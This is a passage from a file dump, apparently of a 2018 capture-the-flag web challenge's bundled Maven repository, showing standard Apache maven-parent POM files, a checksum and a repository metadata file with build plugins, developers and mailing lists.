<artifactId>modello-maven-plugin</artifactId>\n          <version>1.4.1</version>\n          <configuration>\n            <useJava5>true</useJava5>\n          </configuration>\n        </plugin>\n        <!-- Plexus description generator is either plexus-maven-plugin or plexus-component-metadata -->\n        <plugin>\n          <groupId>org.codehaus.plexus</groupId>\n          <artifactId>plexus-maven-plugin</artifactId>\n          <version>1.3.8</version>\n        </plugin>\n        <plugin>\n          <groupId>org.codehaus.plexus</groupId>\n          <artifactId>plexus-component-metadata</artifactId>\n          <version>1.5.5</version>\n        </plugin>\n        <plugin>\n          <groupId>org.codehaus.mojo</groupId>\n          <artifactId>findbugs-maven-plugin</artifactId>\n          <version>2.3.2</version>\n        </plugin>\n      </plugins>\n    </pluginManagement>\n  </build>\n\n  <profiles>\n    <profile>\n      <id>quality-checks</id>\n      <activation>\n        <property>\n          <name>quality-checks</name>\n          <value>true</value>\n        </property>\n      </activation>\n      <build>\n        <plugins>\n          <!--<plugin>\n          Clirr needs to be more flexble before we can force this everywhere. New releases that don't have previous artifacts to compare cause Clirr to blow up. And Clirr needs to be smart enough to only look at the previous release artifact so we can make this work during snapshot builds, otherwise it just blows up when you try to do a release.\n            <groupId>org.codehaus.mojo</groupId>\n            <artifactId>clirr-maven-plugin</artifactId>\n            <executions>\n              <execution>\n                <id>clirr-check</id>\n                <phase>verify</phase>\n                <goals>\n                  <goal>check</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>-->\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-pmd-plugin</artifactId>\n            <version>2.5</version>\n            <configuration>\n              <targetJdk>1.5</targetJdk>\n              <rulesets>\n                <ruleset>rulesets/maven.xml</ruleset>\n              </rulesets>\n              <excludeRoots>\n                <excludeRoot>${project.build.directory}/generated-sources/modello</excludeRoot>\n                <excludeRoot>${project.build.directory}/generated-sources/plugin</excludeRoot>\n              </excludeRoots>\n            </configuration>\n            <executions>\n              <execution>\n                <id>cpd-check</id>\n                <phase>verify</phase>\n                <goals>\n                  <goal>cpd-check</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n        </plugins>\n      </build>\n    </profile>\n    <profile>\n      <id>reporting</id>\n      <build>\n        <plugins>\n          <plugin>\n            <groupId>org.codehaus.mojo</groupId>\n            <artifactId>cobertura-maven-plugin</artifactId>\n            <version>2.5.1</version>\n            <executions>\n              <execution>\n                <phase>clean</phase>\n                <goals>\n                  <goal>clean</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n        </plugins>\n      </build>\n      <reporting>\n        <plugins>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-project-info-reports-plugin</artifactId>\n            <version>2.4</version>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-surefire-report-plugin</artifactId>\n            <version>2.9</version>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-checkstyle-plugin</artifactId>\n            <version>2.7</version>\n            <configuration>\n              <configLocation>config/maven_checks.xml</configLocation>\n              <headerLocation>config/maven-header.txt</headerLocation>\n            </configuration>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-pmd-plugin</artifactId>\n            <version>2.5</version>\n            <configuration>\n              <targetJdk>1.5</targetJdk>\n              <rulesets>\n                <ruleset>rulesets/maven.xml</ruleset>\n              </rulesets>\n              <excludeRoots>\n                <excludeRoot>${project.build.directory}/generated-sources/modello</excludeRoot>\n                <excludeRoot>${project.build.directory}/generated-sources/plugin</excludeRoot>\n              </excludeRoots>\n            </configuration>\n          </plugin>\n          <plugin>\n            <groupId>org.codehaus.mojo</groupId>\n            <artifactId>cobertura-maven-plugin</artifactId>\n            <version>2.5.1</version>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-jxr-plugin</artifactId>\n            <version>2.2</version>\n          </plugin>\n          <!-- Taglist Plugin must be executed after JXR Plugin -->\n          <plugin>\n            <groupId>org.codehaus.mojo</groupId>\n            <artifactId>taglist-maven-plugin</artifactId>\n            <version>2.4</version>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-javadoc-plugin</artifactId>\n            <version>2.8</version>\n            <configuration>\n              <links>\n                <link>http://commons.apache.org/collections/apidocs-COLLECTIONS_3_0/</link>\n                <link>http://junit.sourceforge.net/javadoc/</link>\n                <link>http://logging.apache.org/log4j/1.2/apidocs/</link>\n                <link>http://velocity.apache.org/engine/releases/velocity-1.5/apidocs/</link>\n              </links>\n              <detectLinks>true</detectLinks>\n              <tagletArtifacts>\n                <tagletArtifact>\n                  <groupId>org.apache.maven.plugin-tools</groupId>\n                  <artifactId>maven-plugin-tools-javadoc</artifactId>\n                  <version>2.5</version>\n                </tagletArtifact>\n                <tagletArtifact>\n                  <groupId>org.codehaus.plexus</groupId>\n                  <artifactId>plexus-javadoc</artifactId>\n                  <version>1.0</version>\n                </tagletArtifact>\n              </tagletArtifacts>\n            </configuration>\n            <reportSets>\n              <reportSet>\n                <reports>\n                  <report>javadoc</report>\n                  <report>test-javadoc</report>\n                </reports>\n              </reportSet>\n            </reportSets>\n          </plugin>\n          <!--plugin>\n            <groupId>org.codehaus.mojo</groupId>\n            <artifactId>clirr-maven-plugin</artifactId>\n            <version>2.2.2</version>\n          </plugin-->\n          <plugin>\n            <groupId>org.codehaus.mojo</groupId>\n            <artifactId>findbugs-maven-plugin</artifactId>\n            <version>2.3.2</version>\n          </plugin>\n          <plugin>\n            <groupId>org.codehaus.sonar-plugins</groupId>\n            <artifactId>maven-report</artifactId>\n            <version>0.1</version>\n          </plugin>\n        </plugins>\n      </reporting>\n    </profile>\n  </profiles>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-parent/21/maven-parent-21.pom.sha1",
    "content": "0ecebf1043d9c7bdd3d32a4184ad4ef9ad3ea744"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-parent/22/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:57:12 CST 2018\nmaven-parent-22.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-parent/22/maven-parent-22.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<!--\nLicensed to the Apache Software Foundation (ASF) under one\nor more contributor license agreements.  See the NOTICE file\ndistributed with this work for additional information\nregarding copyright ownership.  The ASF licenses this file\nto you under the Apache License, Version 2.0 (the\n\"License\"); you may not use this file except in compliance\nwith the License.  You may obtain a copy of the License at\n\n  http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing,\nsoftware distributed under the License is distributed on an\n\"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\nKIND, either express or implied.  See the License for the\nspecific language governing permissions and limitations\nunder the License.\n-->\n\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n\n  <!-- for more information, see the documentation of this POM: http://maven.apache.org/pom/maven/ -->\n  <parent>\n    <groupId>org.apache</groupId>\n    <artifactId>apache</artifactId>\n    <version>11</version>\n    <relativePath>../asf/pom.xml</relativePath>\n  </parent>\n\n  <groupId>org.apache.maven</groupId>\n  <artifactId>maven-parent</artifactId>\n  <version>22</version>\n  <packaging>pom</packaging>\n\n  <name>Apache Maven</name>\n  <description>Maven is a software project management and comprehension tool. Based on the concept of a project object model (POM), Maven can manage a project's build, reporting and documentation from a central piece of information.</description>\n  <url>http://maven.apache.org/</url>\n  <inceptionYear>2002</inceptionYear>\n\n  <!-- Developers listed by PMC Chair, PMC, Committers, Contributers, all alphabetical-->\n  <developers>\n    <developer>\n      <id>olamy</id>\n      <name>Olivier Lamy</name>\n      <email>olamy@apache.org</email>\n      <roles>\n        <role>PMC Chair</role>\n      </roles>\n      <timezone>Europe/Paris</timezone>\n    </developer>\n    <developer>\n      <id>aheritier</id>\n      <name>Arnaud Héritier</name>\n      <email>aheritier@apache.org</email>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <id>baerrach</id>\n      <name>Barrie Treloar</name>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>bimargulies</id>\n      <name>Benson Margulies</name>\n      <email>bimargulies@apache.org</email>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>America/New_York</timezone>\n    </developer>\n    <developer>\n      <id>brett</id>\n      <name>Brett Porter</name>\n      <email>brett@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>+10</timezone>\n    </developer>\n    <developer>\n      <id>brianf</id>\n      <name>Brian Fox</name>\n      <email>brianf@apache.org</email>\n      <organization>Sonatype</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>-5</timezone>\n    </developer>\n    <developer>\n      <id>carlos</id>\n      <name>Carlos Sanchez</name>\n      <email>carlos@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <id>dennisl</id>\n      <name>Dennis Lundberg</name>\n      <email>dennisl@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <id>dfabulich</id>\n      <name>Daniel Fabulich</name>\n      <email>dfabulich@apache.org</email>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>-8</timezone>\n    </developer>\n    <developer>\n      <id>dkulp</id>\n      <name>Daniel Kulp</name>\n      <email>dkulp@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>-5</timezone>\n    </developer>\n    <developer>\n      <id>evenisse</id>\n      <name>Emmanuel Venisse</name>\n      <email>evenisse@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <id>hboutemy</id>\n      <name>Hervé Boutemy</name>\n      <email>hboutemy@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>Europe/Paris</timezone>\n    </developer>\n    <developer>\n      <id>jdcasey</id>\n      <name>John Casey</name>\n      <email>jdcasey@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>-5</timezone>\n    </developer>\n    <developer>\n      <id>kenney</id>\n      <name>Kenney Westerhof</name>\n      <email>kenney@apache.org</email>\n      <organization>Neonics</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <id>krosenvold</id>\n      <name>Kristian Rosenvold</name>\n      <email>krosenvold@apache.org</email>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <id>markh</id>\n      <name>Mark Hobson</name>\n      <email>markh@apache.org</email>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>0</timezone>\n    </developer>\n    <developer>\n      <id>mkleint</id>\n      <name>Milos Kleint</name>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>oching</id>\n      <name>Maria Odea B. Ching</name>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>pgier</id>\n      <name>Paul Gier</name>\n      <email>pgier@apache.org</email>\n      <organization>Red Hat</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>-6</timezone>\n    </developer>\n    <developer>\n      <id>rfscholte</id>\n      <name>Robert Scholte</name>\n      <email>rfscholte@apache.org</email>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>Europe/Amsterdam</timezone>\n    </developer>\n    <developer>\n      <id>rgoers</id>\n      <name>Ralph Goers</name>\n      <email>rgoers@apache.org</email>\n      <organization>Intuit</organization>\n      <timezone>-8</timezone>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>snicoll</id>\n      <name>Stephane Nicoll</name>\n      <email>snicoll@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <id>stephenc</id>\n      <name>Stephen Connolly</name>\n      <email>stephenc@apache.org</email>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>0</timezone>\n    </developer>\n    <developer>\n      <id>struberg</id>\n      <name>Mark Struberg</name>\n      <email>struberg@apache.org</email>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>vsiveton</id>\n      <name>Vincent Siveton</name>\n      <email>vsiveton@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>-5</timezone>\n    </developer>\n    <developer>\n      <id>wfay</id>\n      <name>Wayne Fay</name>\n      <email>wfay@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>-6</timezone>\n    </developer>\n\n    <!--Committers-->\n    <developer>\n      <id>bdemers</id>\n      <name>Brian Demers</name>\n      <organization>Sonatype</organization>\n      <email>bdemers@apache.org</email>\n      <timezone>-5</timezone>\n      <roles>\n        <role>Committer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>bellingard</id>\n      <name>Fabrice Bellingard</name>\n      <roles>\n        <role>Committer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>bentmann</id>\n      <name>Benjamin Bentmann</name>\n      <email>bentmann@apache.org</email>\n      <organization>Sonatype</organization>\n      <roles>\n        <role>Committer</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <id>cstamas</id>\n      <name>Tamas Cservenak</name>\n      <organization>Sonatype</organization>\n      <email>cstamas@apache.org</email>\n      <timezone>+1</timezone>\n      <roles>\n        <role>Committer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>dantran</id>\n      <name>Dan Tran</name>\n      <roles>\n        <role>Committer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>dbradicich</id>\n      <name>Damian Bradicich</name>\n      <organization>Sonatype</organization>\n      <email>dbradicich@apache.org</email>\n      <timezone>-5</timezone>\n      <roles>\n        <role>Committer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>fgiust</id>\n      <name>Fabrizio Giustina</name>\n      <email>fgiust@apache.org</email>\n      <organization>openmind</organization>\n      <roles>\n        <role>Committer</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <id>godin</id>\n      <name>Evgeny Mandrikov</name>\n      <organization>SonarSource</organization>\n      <email>godin@apache.org</email>\n      <roles>\n        <role>Committer</role>\n      </roles>\n      <timezone>+3</timezone>\n    </developer>\n    <developer>\n      <id>handyande</id>\n      <name>Andrew Williams</name>\n      <email>handyande@apache.org</email>\n      <roles>\n        <role>Committer</role>\n      </roles>\n      <timezone>0</timezone>\n    </developer>\n    <developer>\n      <id>ifedorenko</id>\n      <name>Igor Fedorenko</name>\n      <email>igor@ifedorenko.com</email>\n      <organization>Sonatype</organization>\n      <roles>\n        <role>Committer</role>\n      </roles>\n      <timezone>-5</timezone>\n    </developer>\n    <developer>\n      <id>jjensen</id>\n      <name>Jeff Jensen</name>\n      <roles>\n        <role>Committer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>jvanzyl</id>\n      <name>Jason van Zyl</name>\n      <roles>\n        <role>Committer</role>\n      </roles>\n      <timezone>-5</timezone>\n    </developer>\n    <developer>\n      <id>ltheussl</id>\n      <name>Lukas Theussl</name>\n      <email>ltheussl@apache.org</email>\n      <roles>\n        <role>Committer</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <id>mauro</id>\n      <name>Mauro Talevi</name>\n      <roles>\n        <role>Committer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>nicolas</id>\n      <name>Nicolas de Loof</name>\n      <roles>\n        <role>Committer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>rafale</id>\n      <name>Raphaël Piéroni</name>\n      <email>rafale@apache.org</email>\n      <organization>Dexem</organization>\n      <roles>\n        <role>Committer</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <id>simonetripodi</id>\n      <name>Simone Tripodi</name>\n      <email>simonetripodi@apache.org</email>\n      <roles>\n        <role>Committer</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <id>tchemit</id>\n      <name>Tony Chemit</name>\n      <email>tchemit@apache.org</email>\n      <organization>CodeLutin</organization>\n      <roles>\n        <role>Committer</role>\n      </roles>\n      <timezone>Europe/Paris</timezone>\n    </developer>\n    <developer>\n      <id>vmassol</id>\n      <name>Vincent Massol</name>\n      <email>vmassol@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>Committer</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    \n    <!--End Committers-->\n    <developer>\n      <id>aramirez</id>\n      <name>Allan Q. Ramirez</name>\n      <roles>\n        <role>Emeritus</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>bayard</id>\n      <name>Henri Yandell</name>\n      <roles>\n        <role>Emeritus</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>chrisjs</id>\n      <name>Chris Stevenson</name>\n      <roles>\n        <role>Emeritus</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>dblevins</id>\n      <name>David Blevins</name>\n      <roles>\n        <role>Emeritus</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>dlr</id>\n      <name>Daniel Rall</name>\n      <roles>\n        <role>Emeritus</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>epunzalan</id>\n      <name>Edwin Punzalan</name>\n      <email>epunzalan@apache.org</email>\n      <roles>\n        <role>Emeritus</role>\n      </roles>\n      <timezone>-8</timezone>\n    </developer>\n    <developer>\n      <id>felipeal</id>\n      <name>Felipe Leme</name>\n      <roles>\n        <role>Emeritus</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>jmcconnell</id>\n      <name>Jesse McConnell</name>\n      <email>jmcconnell@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>Emeritus</role>\n      </roles>\n      <timezone>-6</timezone>\n    </developer>\n    <developer>\n      <id>joakime</id>\n      <name>Joakim Erdfelt</name>\n      <email>joakime@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>Emeritus</role>\n      </roles>\n      <timezone>-5</timezone>\n    </developer>\n    <developer>\n      <id>jstrachan</id>\n      <name>James Strachan</name>\n      <roles>\n        <role>Emeritus</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>jtolentino</id>\n      <name>Ernesto Tolentino Jr.</name>\n      <email>jtolentino@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>Emeritus</role>\n      </roles>\n      <timezone>+8</timezone>\n    </developer>\n    <developer>\n      <id>mperham</id>\n      <name>Mike Perham</name>\n      <email>mperham@gmail.com</email>\n      <organization>IBM</organization>\n      <roles>\n        <role>Emeritus</role>\n      </roles>\n      <timezone>-6</timezone>\n    </developer>\n    <developer>\n      <id>ogusakov</id>\n      <name>Oleg Gusakov</name>\n      <roles>\n        <role>Emeritus</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>pschneider</id>\n      <name>Patrick Schneider</name>\n      <email>pschneider@gmail.com</email>\n      <roles>\n        <role>Emeritus</role>\n      </roles>\n      <timezone>-6</timezone>\n    </developer>\n    <developer>\n      <id>ptahchiev</id>\n      <name>Petar Tahchiev</name>\n      <email>ptahchiev@apache.org</email>\n      <roles>\n        <role>Emeritus</role>\n      </roles>\n      <timezone>+2</timezone>\n    </developer>\n    <developer>\n      <id>rinku</id>\n      <name>Rahul Thakur</name>\n      <roles>\n        <role>Emeritus</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>shinobu</id>\n      <name>Shinobu Kuwai</name>\n      <roles>\n        <role>Emeritus</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>smorgrav</id>\n      <name>Torbjorn Eikli Smorgrav</name>\n      <roles>\n        <role>Emeritus</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>trygvis</id>\n      <name>Trygve Laugstol</name>\n      <email>trygvis@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>Emeritus</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <id>wsmoak</id>\n      <name>Wendy Smoak</name>\n      <email>wsmoak@apache.org</email>\n      <roles>\n        <role>Emeritus</role>\n      </roles>\n      <timezone>-7</timezone>\n    </developer>\n    <developer>\n      <id>jruiz</id>\n      <name>Johnny Ruiz III</name>\n      <email>jruiz@apache.org</email>\n      <roles>\n        <role>Emeritus</role>\n      </roles>\n    </developer>\n  </developers>\n\n  <mailingLists>\n    <mailingList>\n      <name>Maven User List</name>\n      <subscribe>users-subscribe@maven.apache.org</subscribe>\n      <unsubscribe>users-unsubscribe@maven.apache.org</unsubscribe>\n      <post>users@maven.apache.org</post>\n      <archive>http://mail-archives.apache.org/mod_mbox/maven-users</archive>\n      <otherArchives>\n        <otherArchive>http://www.mail-archive.com/users@maven.apache.org/</otherArchive>\n        <otherArchive>http://maven.40175.n5.nabble.com/Maven-Users-f40176.html</otherArchive>\n        <otherArchive>http://maven.users.markmail.org/</otherArchive>\n      </otherArchives>\n    </mailingList>\n    <mailingList>\n      <name>Maven Developer List</name>\n      <subscribe>dev-subscribe@maven.apache.org</subscribe>\n      <unsubscribe>dev-unsubscribe@maven.apache.org</unsubscribe>\n      <post>dev@maven.apache.org</post>\n      <archive>http://mail-archives.apache.org/mod_mbox/maven-dev</archive>\n      <otherArchives>\n        <otherArchive>http://www.mail-archive.com/dev@maven.apache.org/</otherArchive>\n        <otherArchive>http://maven.40175.n5.nabble.com/Maven-Developers-f142166.html</otherArchive>\n        <otherArchive>http://maven.dev.markmail.org/</otherArchive>\n      </otherArchives>\n    </mailingList>\n    <mailingList>\n      <name>Maven Issues List</name>\n      <subscribe>issues-subscribe@maven.apache.org</subscribe>\n      <unsubscribe>issues-unsubscribe@maven.apache.org</unsubscribe>\n      <archive>http://mail-archives.apache.org/mod_mbox/maven-issues/</archive>\n      <otherArchives>\n        <otherArchive>http://www.mail-archive.com/issues@maven.apache.org</otherArchive>\n        <otherArchive>http://maven.40175.n5.nabble.com/Maven-Issues-f219593.html</otherArchive>\n        <otherArchive>http://maven.issues.markmail.org/</otherArchive>\n      </otherArchives>\n    </mailingList>\n    <mailingList>\n      <name>Maven Commits List</name>\n      <subscribe>commits-subscribe@maven.apache.org</subscribe>\n      <unsubscribe>commits-unsubscribe@maven.apache.org</unsubscribe>\n      <archive>http://mail-archives.apache.org/mod_mbox/maven-dev</archive>\n      <otherArchives>\n        <otherArchive>http://www.mail-archive.com/commits@maven.apache.org</otherArchive>\n        <otherArchive>http://maven.40175.n5.nabble.com/Maven-Commits-f277168.html</otherArchive>\n        <otherArchive>http://maven.commits.markmail.org/</otherArchive>\n      </otherArchives>\n    </mailingList>\n    <mailingList>\n      <name>Maven Announcements List</name>\n      <post>announce@maven.apache.org</post>\n      <subscribe>announce-subscribe@maven.apache.org</subscribe>\n      <unsubscribe>announce-unsubscribe@maven.apache.org</unsubscribe>\n      <archive>http://mail-archives.apache.org/mod_mbox/maven-announce/</archive>\n      <otherArchives>\n        <otherArchive>http://www.mail-archive.com/announce@maven.apache.org</otherArchive>\n        <otherArchive>http://maven.40175.n5.nabble.com/Maven-Announcements-f326045.html</otherArchive>\n        <otherArchive>http://maven.announce.markmail.org/</otherArchive>\n      </otherArchives>\n    </mailingList>\n    <mailingList>\n      <name>Maven Notifications List</name>\n      <subscribe>notifications-subscribe@maven.apache.org</subscribe>\n      <unsubscribe>notifications-unsubscribe@maven.apache.org</unsubscribe>\n      <archive>http://mail-archives.apache.org/mod_mbox/maven-notifications/</archive>\n      <otherArchives>\n        <otherArchive>http://www.mail-archive.com/notifications@maven.apache.org</otherArchive>\n        <otherArchive>http://maven.40175.n5.nabble.com/Maven-Notifications-f301718.html</otherArchive>\n        <otherArchive>http://maven.notifications.markmail.org/</otherArchive>\n      </otherArchives>\n    </mailingList>\n  </mailingLists>\n\n  <scm>\n    <connection>scm:svn:http://svn.apache.org/repos/asf/maven/pom/tags/maven-parent-22</connection>\n    <developerConnection>scm:svn:https://svn.apache.org/repos/asf/maven/pom/tags/maven-parent-22</developerConnection>\n    <url>http://svn.apache.org/viewvc/maven/pom/tags/maven-parent-22</url>\n  </scm>\n\n  <ciManagement>\n    <system>Jenkins</system>\n    <url>https://builds.apache.org/view/M-R/view/Maven</url>\n    <notifiers>\n      <notifier>\n        <type>mail</type>\n        <configuration>\n          <address>notifications@maven.apache.org</address>\n        </configuration>\n      </notifier>\n    </notifiers>\n  </ciManagement>\n  <distributionManagement>\n    <site>\n      <id>apache.website</id>\n      <url>scp://people.apache.org/www/maven.apache.org</url>\n    </site>\n  </distributionManagement>\n\n  <properties>\n    <sonar.host.url>https://analysis.apache.org/</sonar.host.url>\n  </properties>\n\n  <dependencyManagement>\n    <dependencies>\n      <dependency>\n        <groupId>org.codehaus.plexus</groupId>\n        <artifactId>plexus-component-annotations</artifactId>\n        <version>1.5.5</version>\n      </dependency>\n    </dependencies>\n  </dependencyManagement>\n\n  <repositories>\n    <repository>\n      <id>apache.snapshots</id>\n      <name>Apache Snapshot Repository</name>\n      <url>http://repository.apache.org/snapshots</url>\n      <releases>\n        <enabled>false</enabled>\n      </releases>\n    </repository>\n  </repositories>\n\n  <build>\n    <pluginManagement>\n      <plugins>\n        <!-- The Maven universe targets Java 1.5 -->\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-compiler-plugin</artifactId>\n          <configuration>\n            <source>1.5</source>\n            <target>1.5</target>\n          </configuration>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-plugin-plugin</artifactId>\n          <configuration>\n            <useJava5>true</useJava5>\n          </configuration>\n        </plugin>\n        <plugin>\n          <groupId>org.codehaus.modello</groupId>\n          <artifactId>modello-maven-plugin</artifactId>\n          <version>1.4.1</version>\n          <configuration>\n            <useJava5>true</useJava5>\n          </configuration>\n        </plugin>\n        <!-- Plexus description generator is either plexus-maven-plugin or plexus-component-metadata -->\n        <plugin>\n          <groupId>org.codehaus.plexus</groupId>\n          <artifactId>plexus-maven-plugin</artifactId>\n          <version>1.3.8</version>\n        </plugin>\n        <plugin>\n          <groupId>org.codehaus.plexus</groupId>\n          <artifactId>plexus-component-metadata</artifactId>\n          <version>1.5.5</version>\n        </plugin>\n        <plugin>\n          <groupId>org.codehaus.mojo</groupId>\n          <artifactId>findbugs-maven-plugin</artifactId>\n          <version>2.5.2</version>\n        </plugin>\n      </plugins>\n    </pluginManagement>\n  </build>\n\n  <profiles>\n    <profile>\n      <id>quality-checks</id>\n      <activation>\n        <property>\n          <name>quality-checks</name>\n          <value>true</value>\n        </property>\n      </activation>\n      <build>\n        <plugins>\n          <!--<plugin>\n          Clirr needs to be more flexble before we can force this everywhere. New releases that don't have previous artifacts to compare cause Clirr to blow up. And Clirr needs to be smart enough to only look at the previous release artifact so we can make this work during snapshot builds, otherwise it just blows up when you try to do a release.\n            <groupId>org.codehaus.mojo</groupId>\n            <artifactId>clirr-maven-plugin</artifactId>\n            <executions>\n              <execution>\n                <id>clirr-check</id>\n                <phase>verify</phase>\n                <goals>\n                  <goal>check</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>-->\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-pmd-plugin</artifactId>\n            <version>2.7.1</version>\n            <configuration>\n              <targetJdk>1.5</targetJdk>\n              <rulesets>\n                <ruleset>rulesets/maven.xml</ruleset>\n              </rulesets>\n              <excludeRoots>\n                <excludeRoot>${project.build.directory}/generated-sources/modello</excludeRoot>\n                <excludeRoot>${project.build.directory}/generated-sources/plugin</excludeRoot>\n              </excludeRoots>\n            </configuration>\n            <executions>\n              <execution>\n                <id>cpd-check</id>\n                <phase>verify</phase>\n                <goals>\n                  <goal>cpd-check</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n        </plugins>\n      </build>\n    </profile>\n    <profile>\n      <id>reporting</id>\n      <build>\n        <plugins>\n          <plugin>\n            <groupId>org.codehaus.mojo</groupId>\n            <artifactId>cobertura-maven-plugin</artifactId>\n            <version>2.5.1</version>\n            <executions>\n              <execution>\n                <phase>clean</phase>\n                <goals>\n                  <goal>clean</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n        </plugins>\n      </build>\n      <reporting>\n        <plugins>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-project-info-reports-plugin</artifactId>\n            <version>2.5</version>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-surefire-report-plugin</artifactId>\n            <version>2.12</version>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            